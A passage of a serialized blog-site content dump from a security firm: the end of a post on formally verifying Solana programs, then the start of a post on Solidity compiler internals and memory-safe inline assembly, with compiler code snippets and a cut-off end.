hildren":31469},{},[31470,31472,31477,31479,31484,31486,31491],{"type":26,"value":31471},"Here, we explicitly ",{"type":21,"tag":78,"props":31473,"children":31475},{"className":31474},[],[31476],{"type":26,"value":22680},{"type":26,"value":31478}," that our invariants hold at ",{"type":21,"tag":5302,"props":31480,"children":31481},{},[31482],{"type":26,"value":31483},"runtime",{"type":26,"value":31485}," which allows us to be assured that ",{"type":21,"tag":78,"props":31487,"children":31489},{"className":31488},[],[31490],{"type":26,"value":31129},{"type":26,"value":31492}," will not enter a bad state as a result of some unverifiable behavior.",{"type":21,"tag":22,"props":31494,"children":31495},{},[31496],{"type":26,"value":31497},"In general techniques like this can be used to tidy up the loose ends that formal verification may struggle with.",{"type":21,"tag":66,"props":31499,"children":31501},{"id":31500},"challenges-of-formal-verification-on-solana",[31502],{"type":26,"value":31503},"Challenges of formal verification on Solana",{"type":21,"tag":114,"props":31505,"children":31507},{"id":31506},"expensive-computation",[31508],{"type":26,"value":31509},"Expensive computation",{"type":21,"tag":22,"props":31511,"children":31512},{},[31513,31515,31520],{"type":26,"value":31514},"As we started exploring this project, we were hoping to see it work straight out of the box. Unfortunately, that was not the case. Harkening back to our friend ",{"type":21,"tag":5302,"props":31516,"children":31517},{},[31518],{"type":26,"value":31519},"path explosion",{"type":26,"value":31521},", it is often the case that bounded model checking just grinds and grinds on the problem and is not able to produce a solution.",{"type":21,"tag":22,"props":31523,"children":31524},{},[31525,31527,31532],{"type":26,"value":31526},"In order to make this technique more widely applicable, we've been developing a runtime SDK layer that is more ",{"type":21,"tag":5302,"props":31528,"children":31529},{},[31530],{"type":26,"value":31531},"formal verification friendly",{"type":26,"value":31533},". Specifically our tool will replace certain built-in SDK functions and structures with less expensive ones in the context of symbolic execution.",{"type":21,"tag":22,"props":31535,"children":31536},{},[31537,31539,31544,31546,31551],{"type":26,"value":31538},"For example, when verifying things like the uniqueness of a ",{"type":21,"tag":78,"props":31540,"children":31542},{"className":31541},[],[31543],{"type":26,"value":2878},{"type":26,"value":31545}," in a ",{"type":21,"tag":78,"props":31547,"children":31549},{"className":31548},[],[31550],{"type":26,"value":19909},{"type":26,"value":31552},", the native program may generate extremely large SMT expressions containing nested 32-byte comparisons and binary searches on a vector.",{"type":21,"tag":22,"props":31554,"children":31555},{},[31556,31558,31563,31565,31570,31572,31577,31579,31584,31586,31591,31593,31598],{"type":26,"value":31557},"However, in most cases the properties we are interested in do not require specific search algorithms for the ",{"type":21,"tag":78,"props":31559,"children":31561},{"className":31560},[],[31562],{"type":26,"value":19909},{"type":26,"value":31564}," or a 32-byte ",{"type":21,"tag":78,"props":31566,"children":31568},{"className":31567},[],[31569],{"type":26,"value":2878},{"type":26,"value":31571},". Instead, our tool can substitute in ",{"type":21,"tag":5302,"props":31573,"children":31574},{},[31575],{"type":26,"value":31576},"cheaper",{"type":26,"value":31578}," types and functions, such as a 4-byte ",{"type":21,"tag":78,"props":31580,"children":31582},{"className":31581},[],[31583],{"type":26,"value":2878},{"type":26,"value":31585}," struct and a fixed-size, array-backed ",{"type":21,"tag":78,"props":31587,"children":31589},{"className":31588},[],[31590],{"type":26,"value":19909},{"type":26,"value":31592}," implementation. These structures are API-compatible with the native SDK and the changes are functionally invisible to the Solana program we are verifying. However, the generated expressions are ",{"type":21,"tag":5302,"props":31594,"children":31595},{},[31596],{"type":26,"value":31597},"much",{"type":26,"value":31599}," simpler and we find that these techniques can greatly accelerate the speed of model-checking.",{"type":21,"tag":22,"props":31601,"children":31602},{},[31603],{"type":26,"value":31604},"It is of key importance that these SDK modifications do not introduce any unsoundness into the model-checking process. We are actively exploring how to do this effectively.",{"type":21,"tag":114,"props":31606,"children":31608},{"id":31607},"runtime-environment",[31609],{"type":26,"value":31610},"Runtime Environment",{"type":21,"tag":22,"props":31612,"children":31613},{},[31614],{"type":26,"value":31615},"While these techniques are quite capable of verifying pure-Rust constructs such as the logical flow of the program, use of Rust types, etc... other aspects of the Solana runtime environment are more difficult to verify.",{"type":21,"tag":22,"props":31617,"children":31618},{},[31619],{"type":26,"value":31620},"For example, a program may resize accounts to store variable amounts of data. These types of custom serialization algorithms require specialized techniques to verify account invariants. For example, a bug with account serialization could undermine \"correct\" account logic.",{"type":21,"tag":22,"props":31622,"children":31623},{},[31624],{"type":26,"value":31625},"Another example is cross-program invocation (CPI). While account data cannot be changed by other programs, when you invoke other instructions it becomes more difficult to verify instruction invariants. An instruction three levels down could fail and cause the whole transaction to revert.",{"type":21,"tag":66,"props":31627,"children":31628},{"id":5568},[31629],{"type":26,"value":5571},{"type":21,"tag":22,"props":31631,"children":31632},{},[31633],{"type":26,"value":31634},"Computer security is far from being a solved problem. Formal verification is a great technique but it is not a magic bullet. While it can help you verify the correctness of your program it won't catch 100% of the bugs. It won't stop you from specifying the wrong invariants or forgetting things, and it can't help you if there is a bug outside of the scope of the model — for example in the runtime or consensus layer.",{"type":21,"tag":22,"props":31636,"children":31637},{},[31638],{"type":26,"value":31639},"Disclaimer out of the way, we believe that formal verification can still be a very useful tool when applied correctly. We've demonstrated that it is possible to automatically prove invariants about Solana programs in a tractable and user-friendly way.",{"type":21,"tag":21491,"props":31641,"children":31642},{},[],{"type":21,"tag":22,"props":31644,"children":31645},{},[31646],{"type":21,"tag":5302,"props":31647,"children":31648},{},[31649,31651,31656,31657,31661],{"type":26,"value":31650},"We're excited to keep pushing this research forward and enhance the security of the whole Solana ecosystem. Our tools are still in development but we're interested in working with other teams. If you have a Solana program you want to get formally verified, give us a shout! Fill out ",{"type":21,"tag":29,"props":31652,"children":31654},{"href":21574,"rel":31653},[33],[31655],{"type":26,"value":21578},{"type":26,"value":21580},{"type":21,"tag":29,"props":31658,"children":31659},{"href":21583},[31660],{"type":26,"value":21586},{"type":26,"value":355},{"type":21,"tag":5603,"props":31663,"children":31664},{},[31665],{"type":26,"value":5607},{"title":7,"searchDepth":166,"depth":166,"links":31667},[31668,31674,31678,31683,31689,31693],{"id":21648,"depth":166,"text":21651,"children":31669},[31670,31671,31672,31673],{"id":68,"depth":225,"text":71},{"id":21720,"depth":225,"text":21723},{"id":22600,"depth":225,"text":22603},{"id":22640,"depth":225,"text":22643},{"id":22693,"depth":166,"text":31675,"children":31676},"Specification: How can we describe what we want our program to do?",[31677],{"id":22807,"depth":225,"text":22810},{"id":24162,"depth":166,"text":24165,"children":31679},[31680,31681,31682],{"id":24839,"depth":225,"text":24842},{"id":25124,"depth":225,"text":25127},{"id":25268,"depth":225,"text":25271},{"id":25409,"depth":166,"text":25412,"children":31684},[31685,31686,31687,31688],{"id":25480,"depth":225,"text":25483},{"id":27336,"depth":225,"text":27339},{"id":28137,"depth":225,"text":25472},{"id":30660,"depth":225,"text":25477},{"id":31500,"depth":166,"text":31503,"children":31690},[31691,31692],{"id":31506,"depth":225,"text":31509},{"id":31607,"depth":225,"text":31610},{"id":5568,"depth":166,"text":5571},"content:blog:2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs",{"_path":31698,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":31699,"description":31700,"author":12,"image":31701,"date":31703,"isFeatured":16,"onBlogPage":16,"tags":31704,"body":31706,"_type":5619,"_id":33124,"_source":5621,"_file":33125,"_stem":33126,"_extension":5624},"/blog/2023-07-28-solidity-compilers-memory-safety","Solidity Compilers: Memory Safety","An exploration into the Solidity compilation pipeline, optimization assumptions, and how it all relates back to memory-safe assembly.",{"src":31702,"height":16340,"width":16340},"/posts/solidity-compilers-memory-safety/header.jpg","2023-07-28",[7204,31705],"compiler",{"type":18,"children":31707,"toc":33115},[31708,31714,31750,31762,31768,31790,31803,31950,31971,31976,31997,32002,32010,32015,32020,32025,32031,32050,32055,32076,32139,32152,32182,32202,32229,32234,32247,32252,32257,32270,32301,32324,32478,32496,32546,32565,32590,32595,32601,32628,32648,32676,32681,32703,32722,32730,32741,32746,32762,33019,33027,33032,33036,33041,33046,33111],{"type":21,"tag":66,"props":31709,"children":31711},{"id":31710},"introduction",[31712],{"type":26,"value":31713},"Introduction",{"type":21,"tag":22,"props":31715,"children":31716},{},[31717,31719,31725,31726,31730,31732,31739,31741,31748],{"type":26,"value":31718},"What does ",{"type":21,"tag":78,"props":31720,"children":31722},{"className":31721},[],[31723],{"type":26,"value":31724},"memory-safe",{"type":26,"value":9187},{"type":21,"tag":5302,"props":31727,"children":31728},{},[31729],{"type":26,"value":12010},{"type":26,"value":31731}," mean? What guarantees does Solidity expose when you're dealing with inline assembly? The documentation ",{"type":21,"tag":29,"props":31733,"children":31736},{"href":31734,"rel":31735},"https://docs.soliditylang.org/en/v0.8.20/assembly.html#memory-safety",[33],[31737],{"type":26,"value":31738},"presents some requirements",{"type":26,"value":31740},", but is production code that ",{"type":21,"tag":29,"props":31742,"children":31745},{"href":31743,"rel":31744},"https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol#L165-L166",[33],[31746],{"type":26,"value":31747},"violates these requirements",{"type":26,"value":31749}," necessarily unsafe?",{"type":21,"tag":22,"props":31751,"children":31752},{},[31753,31755,31760],{"type":26,"value":31754},"In this blog post, we present a high-level overview of the Solidity compiler. We'll also dive into the optimization pipeline, language lawyering, and present an argument for what ",{"type":21,"tag":5302,"props":31756,"children":31757},{},[31758],{"type":26,"value":31759},"memory-safety",{"type":26,"value":31761}," actually means.",{"type":21,"tag":66,"props":31763,"children":31765},{"id":31764},"compiler-pipeline",[31766],{"type":26,"value":31767},"Compiler Pipeline",{"type":21,"tag":22,"props":31769,"children":31770},{},[31771,31773,31780,31782,31789],{"type":26,"value":31772},"For brevity's sake, we'll only cover the YUL IR Solidity compilation pipeline ",{"type":21,"tag":29,"props":31774,"children":31777},{"href":31775,"rel":31776},"https://blog.soliditylang.org/2022/03/16/solidity-0.8.13-release-announcement/",[33],[31778],{"type":26,"value":31779},"released in v0.8.13",{"type":26,"value":31781},". Compilation happens ",{"type":21,"tag":29,"props":31783,"children":31786},{"href":31784,"rel":31785},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libsolidity/interface/CompilerStack.cpp#L684",[33],[31787],{"type":26,"value":31788},"in two main steps",{"type":26,"value":201},{"type":21,"tag":126,"props":31791,"children":31792},{},[31793,31798],{"type":21,"tag":91,"props":31794,"children":31795},{},[31796],{"type":26,"value":31797},"Solidity to YUL IR",{"type":21,"tag":91,"props":31799,"children":31800},{},[31801],{"type":26,"value":31802},"YUL IR to EVM opcodes",{"type":21,"tag":143,"props":31804,"children":31808},{"className":31805,"code":31806,"language":31807,"meta":7,"style":7},"language-cpp shiki shiki-themes slack-dark","    if (m_viaIR || m_generateIR || m_generateEwasm)\n        generateIR(*contract);\n    if (m_generateEvmBytecode)\n    {\n        if (m_viaIR)\n            generateEVMFromIR(*contract);\n        else\n            compileContract(*contract, otherCompilers);\n    }\n","cpp",[31809],{"type":21,"tag":78,"props":31810,"children":31811},{"__ignoreMap":7},[31812,31842,31863,31875,31882,31894,31914,31922,31943],{"type":21,"tag":153,"props":31813,"children":31814},{"class":155,"line":156},[31815,31819,31824,31828,31833,31837],{"type":21,"tag":153,"props":31816,"children":31817},{"style":1751},[31818],{"type":26,"value":2434},{"type":21,"tag":153,"props":31820,"children":31821},{"style":160},[31822],{"type":26,"value":31823}," (m_viaIR ",{"type":21,"tag":153,"props":31825,"children":31826},{"style":198},[31827],{"type":26,"value":25111},{"type":21,"tag":153,"props":31829,"children":31830},{"style":160},[31831],{"type":26,"value":31832}," m_generateIR ",{"type":21,"tag":153,"props":31834,"children":31835},{"style":198},[31836],{"type":26,"value":25111},{"type":21,"tag":153,"props":31838,"children":31839},{"style":160},[31840],{"type":26,"value":31841}," m_generateEwasm)\n",{"type":21,"tag":153,"props":31843,"children":31844},{"class":155,"line":166},[31845,31850,31854,31858],{"type":21,"tag":153,"props":31846,"children":31847},{"style":181},[31848],{"type":26,"value":31849},"        generateIR",{"type":21,"tag":153,"props":31851,"children":31852},{"style":160},[31853],{"type":26,"value":189},{"type":21,"tag":153,"props":31855,"children":31856},{"style":198},[31857],{"type":26,"value":313},{"type":21,"tag":153,"props":31859,"children":31860},{"style":160},[31861],{"type":26,"value":31862},"contract);\n",{"type":21,"tag":153,"props":31864,"children":31865},{"class":155,"line":225},[31866,31870],{"type":21,"tag":153,"props":31867,"children":31868},{"style":1751},[31869],{"type":26,"value":2434},{"type":21,"tag":153,"props":31871,"children":31872},{"style":160},[31873],{"type":26,"value":31874}," (m_generateEvmBytecode)\n",{"type":21,"tag":153,"props":31876,"children":31877},{"class":155,"line":239},[31878],{"type":21,"tag":153,"props":31879,"children":31880},{"style":160},[31881],{"type":26,"value":2562},{"type":21,"tag":153,"props":31883,"children":31884},{"class":155,"line":382},[31885,31889],{"type":21,"tag":153,"props":31886,"children":31887},{"style":1751},[31888],{"type":26,"value":2607},{"type":21,"tag":153,"props":31890,"children":31891},{"style":160},[31892],{"type":26,"value":31893}," (m_viaIR)\n",{"type":21,"tag":153,"props":31895,"children":31896},{"class":155,"line":501},[31897,31902,31906,31910],{"type":21,"tag":153,"props":31898,"children":31899},{"style":181},[31900],{"type":26,"value":31901},"            generateEVMFromIR",{"type":21,"tag":153,"props":31903,"children":31904},{"style":160},[31905],{"type":26,"value":189},{"type":21,"tag":153,"props":31907,"children":31908},{"style":198},[31909],{"type":26,"value":313},{"type":21,"tag":153,"props":31911,"children":31912},{"style":160},[31913],{"type":26,"value":31862},{"type":21,"tag":153,"props":31915,"children":31916},{"class":155,"line":533},[31917],{"type":21,"tag":153,"props":31918,"children":31919},{"style":1751},[31920],{"type":26,"value":31921},"        else\n",{"type":21,"tag":153,"props":31923,"children":31924},{"class":155,"line":542},[31925,31930,31934,31938],{"type":21,"tag":153,"props":31926,"children":31927},{"style":181},[31928],{"type":26,"value":31929},"            compileContract",{"type":21,"tag":153,"props":31931,"children":31932},{"style":160},[31933],{"type":26,"value":189},{"type":21,"tag":153,"props":31935,"children":31936},{"style":198},[31937],{"type":26,"value":313},{"type":21,"tag":153,"props":31939,"children":31940},{"style":160},[31941],{"type":26,"value":31942},"contract, otherCompilers);\n",{"type":21,"tag":153,"props":31944,"children":31945},{"class":155,"line":762},[31946],{"type":21,"tag":153,"props":31947,"children":31948},{"style":160},[31949],{"type":26,"value":539},{"type":21,"tag":22,"props":31951,"children":31952},{},[31953,31955,31962,31963,31970],{"type":26,"value":31954},"Each step applies its own set of optimizations. The entrypoints are located at ",{"type":21,"tag":29,"props":31956,"children":31959},{"href":31957,"rel":31958},"https://github.com/ethereum/solidity/blob/fd9ac9abed2049a4b8134d39e178275c8aad75b6/libyul/YulStack.cpp#L92",[33],[31960],{"type":26,"value":31961},"YulStack::optimize",{"type":26,"value":52},{"type":21,"tag":29,"props":31964,"children":31967},{"href":31965,"rel":31966},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libevmasm/Assembly.cpp#L336",[33],[31968],{"type":26,"value":31969},"Assembly::optimize",{"type":26,"value":355},{"type":21,"tag":22,"props":31972,"children":31973},{},[31974],{"type":26,"value":31975},"In total, there are four steps.",{"type":21,"tag":126,"props":31977,"children":31978},{},[31979,31983,31988,31992],{"type":21,"tag":91,"props":31980,"children":31981},{},[31982],{"type":26,"value":31797},{"type":21,"tag":91,"props":31984,"children":31985},{},[31986],{"type":26,"value":31987},"Optimization of YUL IR",{"type":21,"tag":91,"props":31989,"children":31990},{},[31991],{"type":26,"value":31802},{"type":21,"tag":91,"props":31993,"children":31994},{},[31995],{"type":26,"value":31996},"Optimization of EVM opcodes",{"type":21,"tag":22,"props":31998,"children":31999},{},[32000],{"type":26,"value":32001},"As mentioned in the v0.8.13 release post, the YUL optimizer is able to perform much more complex optimizations. Compared to Solidity, YUL contains detailed semantic information and is simpler for optimization passes to reason about than opcodes.",{"type":21,"tag":5689,"props":32003,"children":32004},{},[32005],{"type":21,"tag":22,"props":32006,"children":32007},{},[32008],{"type":26,"value":32009},"The performance of the new pipeline is not yet always superior to the old one, but it can do much higher-level optimization across functions, so please try it out and give us feedback!",{"type":21,"tag":22,"props":32011,"children":32012},{},[32013],{"type":26,"value":32014},"Importantly, each step happens in isolation and retains no information about the previous stage.",{"type":21,"tag":22,"props":32016,"children":32017},{},[32018],{"type":26,"value":32019},"The optimizer cannot change the behavior of the generated IR. This means we don't need to worry about potentially tricky optimizations such as reordering of functions, removal of unused assigns, or moving stack variables to memory.",{"type":21,"tag":22,"props":32021,"children":32022},{},[32023],{"type":26,"value":32024},"When it comes to safety, we need only to consider the IR generation. But what exactly are the guarantees here?",{"type":21,"tag":66,"props":32026,"children":32028},{"id":32027},"guarantees",[32029],{"type":26,"value":32030},"Guarantees",{"type":21,"tag":22,"props":32032,"children":32033},{},[32034,32035,32042,32044,32049],{"type":26,"value":19311},{"type":21,"tag":29,"props":32036,"children":32039},{"href":32037,"rel":32038},"https://docs.soliditylang.org/en/v0.8.20/internals/layout_in_memory.html",[33],[32040],{"type":26,"value":32041},"Solidity memory layout",{"type":26,"value":32043}," exists only at the time of YUL IR generation. The YUL optimizer and later steps has ",{"type":21,"tag":5302,"props":32045,"children":32046},{},[32047],{"type":26,"value":32048},"no information about this layout",{"type":26,"value":355},{"type":21,"tag":22,"props":32051,"children":32052},{},[32053],{"type":26,"value":32054},"What if the optimizer wants to use memory for optimization passes? How does it know what slots are used by the IR generator?",{"type":21,"tag":22,"props":32056,"children":32057},{},[32058,32060,32066,32068,32074],{"type":26,"value":32059},"Introducing ",{"type":21,"tag":78,"props":32061,"children":32063},{"className":32062},[],[32064],{"type":26,"value":32065},"memoryguard",{"type":26,"value":32067},". If you've ever looked at the output of ",{"type":21,"tag":78,"props":32069,"children":32071},{"className":32070},[],[32072],{"type":26,"value":32073},"solc --ir",{"type":26,"value":32075},", this call may be familiar. It's used to initialize the free-memory pointer.",{"type":21,"tag":143,"props":32077,"children":32079},{"className":7205,"code":32078,"language":7204,"meta":7,"style":7},"    /// @src 0:26:371  \"contract XXX {...\"\n    store(64, memoryguard(0x80))\n",[32080],{"type":21,"tag":78,"props":32081,"children":32082},{"__ignoreMap":7},[32083,32101],{"type":21,"tag":153,"props":32084,"children":32085},{"class":155,"line":156},[32086,32091,32096],{"type":21,"tag":153,"props":32087,"children":32088},{"style":3050},[32089],{"type":26,"value":32090},"    /// @src 0:26:371  \"contract ",{"type":21,"tag":153,"props":32092,"children":32093},{"style":170},[32094],{"type":26,"value":32095},"XXX",{"type":21,"tag":153,"props":32097,"children":32098},{"style":3050},[32099],{"type":26,"value":32100}," {...\"\n",{"type":21,"tag":153,"props":32102,"children":32103},{"class":155,"line":166},[32104,32109,32113,32118,32122,32126,32130,32135],{"type":21,"tag":153,"props":32105,"children":32106},{"style":181},[32107],{"type":26,"value":32108},"    store",{"type":21,"tag":153,"props":32110,"children":32111},{"style":160},[32112],{"type":26,"value":189},{"type":21,"tag":153,"props":32114,"children":32115},{"style":300},[32116],{"type":26,"value":32117},"64",{"type":21,"tag":153,"props":32119,"children":32120},{"style":160},[32121],{"type":26,"value":1670},{"type":21,"tag":153,"props":32123,"children":32124},{"style":181},[32125],{"type":26,"value":32065},{"type":21,"tag":153,"props":32127,"children":32128},{"style":160},[32129],{"type":26,"value":189},{"type":21,"tag":153,"props":32131,"children":32132},{"style":300},[32133],{"type":26,"value":32134},"0x80",{"type":21,"tag":153,"props":32136,"children":32137},{"style":160},[32138],{"type":26,"value":2006},{"type":21,"tag":22,"props":32140,"children":32141},{},[32142,32144,32151],{"type":26,"value":32143},"From ",{"type":21,"tag":29,"props":32145,"children":32148},{"href":32146,"rel":32147},"https://solidity.readthedocs.io/en/latest/yul.html#memoryguard",[33],[32149],{"type":26,"value":32150},"the documentation",{"type":26,"value":6855},{"type":21,"tag":5689,"props":32153,"children":32154},{},[32155],{"type":21,"tag":22,"props":32156,"children":32157},{},[32158,32160,32166,32168,32174,32176,32181],{"type":26,"value":32159},"The caller of ",{"type":21,"tag":78,"props":32161,"children":32163},{"className":32162},[],[32164],{"type":26,"value":32165},"let ptr := memoryguard(size)",{"type":26,"value":32167}," (where size has to be a literal number) promises that they only use memory in either the range ",{"type":21,"tag":78,"props":32169,"children":32171},{"className":32170},[],[32172],{"type":26,"value":32173},"[0, size)",{"type":26,"value":32175}," or the unbounded range starting at ",{"type":21,"tag":78,"props":32177,"children":32179},{"className":32178},[],[32180],{"type":26,"value":16658},{"type":26,"value":355},{"type":21,"tag":22,"props":32183,"children":32184},{},[32185,32187,32192,32194,32200],{"type":26,"value":32186},"For example, if the YUL optimizer needs 32 bytes of memory, it can have ",{"type":21,"tag":78,"props":32188,"children":32190},{"className":32189},[],[32191],{"type":26,"value":32065},{"type":26,"value":32193}," return ",{"type":21,"tag":78,"props":32195,"children":32197},{"className":32196},[],[32198],{"type":26,"value":32199},"size + 32",{"type":26,"value":32201},". The optimizer gets a guaranteed region of memory which will not be touched!",{"type":21,"tag":22,"props":32203,"children":32204},{},[32205,32207,32214,32216,32221,32223,32228],{"type":26,"value":32206},"An example of this optimization in practice ",{"type":21,"tag":29,"props":32208,"children":32211},{"href":32209,"rel":32210},"https://github.com/ethereum/solidity/blob/1633e367c90aed7a6a14d84e2c288e6a8ab93304/libyul/optimiser/StackLimitEvader.cpp",[33],[32212],{"type":26,"value":32213},"is the StackLimitEvader",{"type":26,"value":32215},", which moves variables from the stack into memory. Incidentally, this is also currently the ",{"type":21,"tag":5302,"props":32217,"children":32218},{},[32219],{"type":26,"value":32220},"only",{"type":26,"value":32222}," optimization pass that relies on the semantic information communicated by ",{"type":21,"tag":78,"props":32224,"children":32226},{"className":32225},[],[32227],{"type":26,"value":32065},{"type":26,"value":355},{"type":21,"tag":22,"props":32230,"children":32231},{},[32232],{"type":26,"value":32233},"The modular design between different compiler stages also means that we're not tied down into any particular memory layout. Does it make sense to waste an entire memory word on the free memory pointer? Maybe not for some applications.",{"type":21,"tag":22,"props":32235,"children":32236},{},[32237,32239,32245],{"type":26,"value":32238},"Fear not, for we can remove this pointer entirely and call ",{"type":21,"tag":78,"props":32240,"children":32242},{"className":32241},[],[32243],{"type":26,"value":32244},"memoryguard(0x60)",{"type":26,"value":32246}," instead. The rest of the pipeline will still work.",{"type":21,"tag":66,"props":32248,"children":32249},{"id":31759},[32250],{"type":26,"value":32251},"Memory Safety",{"type":21,"tag":22,"props":32253,"children":32254},{},[32255],{"type":26,"value":32256},"So what does memory safety mean?",{"type":21,"tag":22,"props":32258,"children":32259},{},[32260,32262,32268],{"type":26,"value":32261},"The Solidity documentation provides ",{"type":21,"tag":29,"props":32263,"children":32265},{"href":31734,"rel":32264},[33],[32266],{"type":26,"value":32267},"a set of constraints",{"type":26,"value":32269},", not a definition.",{"type":21,"tag":5689,"props":32271,"children":32272},{},[32273,32278],{"type":21,"tag":22,"props":32274,"children":32275},{},[32276],{"type":26,"value":32277},"In particular, a memory-safe assembly block may only access the following memory ranges:",{"type":21,"tag":126,"props":32279,"children":32280},{},[32281,32286,32291,32296],{"type":21,"tag":91,"props":32282,"children":32283},{},[32284],{"type":26,"value":32285},"Memory allocated by yourself using a mechanism like the allocate function described above.",{"type":21,"tag":91,"props":32287,"children":32288},{},[32289],{"type":26,"value":32290},"Memory allocated by Solidity, e.g. memory within the bounds of a memory array you reference.",{"type":21,"tag":91,"props":32292,"children":32293},{},[32294],{"type":26,"value":32295},"The scratch space between memory offset 0 and 64 mentioned above.",{"type":21,"tag":91,"props":32297,"children":32298},{},[32299],{"type":26,"value":32300},"Temporary memory that is located after the value of the free memory pointer at the beginning of the assembly\nblock, i.e. memory that is “allocated” at the free memory pointer without updating the free memory pointer.",{"type":21,"tag":22,"props":32302,"children":32303},{},[32304,32306,32313,32323],{"type":26,"value":32305},"Looking to the compiler, it appears the presence of memory-unsafe assembly ",{"type":21,"tag":29,"props":32307,"children":32310},{"href":32308,"rel":32309},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGenerator.cpp#L210",[33],[32311],{"type":26,"value":32312},"removes the memory guard",{"type":21,"tag":18171,"props":32314,"children":32315},{},[32316],{"type":21,"tag":29,"props":32317,"children":32321},{"href":32318,"ariaDescribedBy":32319,"dataFootnoteRef":7,"id":32320},"#user-content-fn-1",[18178],"user-content-fnref-1",[32322],{"type":26,"value":3033},{"type":26,"value":355},{"type":21,"tag":143,"props":32325,"children":32327},{"className":31805,"code":32326,"language":31807,"meta":7,"style":7},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n\nstring IRGenerator::memoryInit(bool _useMemoryGuard)\n{\n // This function should be called at the beginning of the EVM call frame\n // and thus can assume all memory to be zero, including the contents of\n // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n return\n  Whiskers{\n   _useMemoryGuard ?\n   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\" :\n   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n  }\n",[32328],{"type":21,"tag":78,"props":32329,"children":32330},{"__ignoreMap":7},[32331,32339,32347,32354,32390,32397,32405,32413,32421,32429,32437,32450,32463,32471],{"type":21,"tag":153,"props":32332,"children":32333},{"class":155,"line":156},[32334],{"type":21,"tag":153,"props":32335,"children":32336},{"style":3050},[32337],{"type":26,"value":32338},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n",{"type":21,"tag":153,"props":32340,"children":32341},{"class":155,"line":166},[32342],{"type":21,"tag":153,"props":32343,"children":32344},{"style":3050},[32345],{"type":26,"value":32346},"// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n",{"type":21,"tag":153,"props":32348,"children":32349},{"class":155,"line":225},[32350],{"type":21,"tag":153,"props":32351,"children":32352},{"emptyLinePlaceholder":16},[32353],{"type":26,"value":759},{"type":21,"tag":153,"props":32355,"children":32356},{"class":155,"line":239},[32357,32362,32367,32372,32376,32381,32386],{"type":21,"tag":153,"props":32358,"children":32359},{"style":214},[32360],{"type":26,"value":32361},"string",{"type":21,"tag":153,"props":32363,"children":32364},{"style":160},[32365],{"type":26,"value":32366}," IRGenerator::",{"type":21,"tag":153,"props":32368,"children":32369},{"style":181},[32370],{"type":26,"value":32371},"memoryInit",{"type":21,"tag":153,"props":32373,"children":32374},{"style":160},[32375],{"type":26,"value":189},{"type":21,"tag":153,"props":32377,"children":32378},{"style":170},[32379],{"type":26,"value":32380},"bool",{"type":21,"tag":153,"props":32382,"children":32383},{"style":192},[32384],{"type":26,"value":32385}," _useMemoryGuard",{"type":21,"tag":153,"props":32387,"children":32388},{"style":160},[32389],{"type":26,"value":5909},{"type":21,"tag":153,"props":32391,"children":32392},{"class":155,"line":382},[32393],{"type":21,"tag":153,"props":32394,"children":32395},{"style":160},[32396],{"type":26,"value":13601},{"type":21,"tag":153,"props":32398,"children":32399},{"class":155,"line":501},[32400],{"type":21,"tag":153,"props":32401,"children":32402},{"style":3050},[32403],{"type":26,"value":32404}," // This function should be called at the beginning of the EVM call frame\n",{"type":21,"tag":153,"props":32406,"children":32407},{"class":155,"line":533},[32408],{"type":21,"tag":153,"props":32409,"children":32410},{"style":3050},[32411],{"type":26,"value":32412}," // and thus can assume all memory to be zero, including the contents of\n",{"type":21,"tag":153,"props":32414,"children":32415},{"class":155,"line":542},[32416],{"type":21,"tag":153,"props":32417,"children":32418},{"style":3050},[32419],{"type":26,"value":32420}," // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n",{"type":21,"tag":153,"props":32422,"children":32423},{"class":155,"line":762},[32424],{"type":21,"tag":153,"props":32425,"children":32426},{"style":1751},[32427],{"type":26,"value":32428}," return\n",{"type":21,"tag":153,"props":32430,"children":32431},{"class":155,"line":776},[32432],{"type":21,"tag":153,"props":32433,"children":32434},{"style":160},[32435],{"type":26,"value":32436},"  Whiskers{\n",{"type":21,"tag":153,"props":32438,"children":32439},{"class":155,"line":795},[32440,32445],{"type":21,"tag":153,"props":32441,"children":32442},{"style":160},[32443],{"type":26,"value":32444},"   _useMemoryGuard ",{"type":21,"tag":153,"props":32446,"children":32447},{"style":198},[32448],{"type":26,"value":32449},"?\n",{"type":21,"tag":153,"props":32451,"children":32452},{"class":155,"line":808},[32453,32458],{"type":21,"tag":153,"props":32454,"children":32455},{"style":671},[32456],{"type":26,"value":32457},"   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\"",{"type":21,"tag":153,"props":32459,"children":32460},{"style":198},[32461],{"type":26,"value":32462}," :\n",{"type":21,"tag":153,"props":32464,"children":32465},{"class":155,"line":820},[32466],{"type":21,"tag":153,"props":32467,"children":32468},{"style":671},[32469],{"type":26,"value":32470},"   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n",{"type":21,"tag":153,"props":32472,"children":32473},{"class":155,"line":842},[32474],{"type":21,"tag":153,"props":32475,"children":32476},{"style":160},[32477],{"type":26,"value":8601},{"type":21,"tag":22,"props":32479,"children":32480},{},[32481,32486,32488,32494],{"type":21,"tag":78,"props":32482,"children":32484},{"className":32483},[],[32485],{"type":26,"value":32073},{"type":26,"value":32487}," will now no longer have ",{"type":21,"tag":78,"props":32489,"children":32491},{"className":32490},[],[32492],{"type":26,"value":32493},"memoryguard(0x80)",{"type":26,"value":32495}," as expected.",{"type":21,"tag":143,"props":32497,"children":32499},{"className":7205,"code":32498,"language":7204,"meta":7,"style":7},"    /// @src 0:26:371  \"contract XXX {...\"\n    mstore(64, 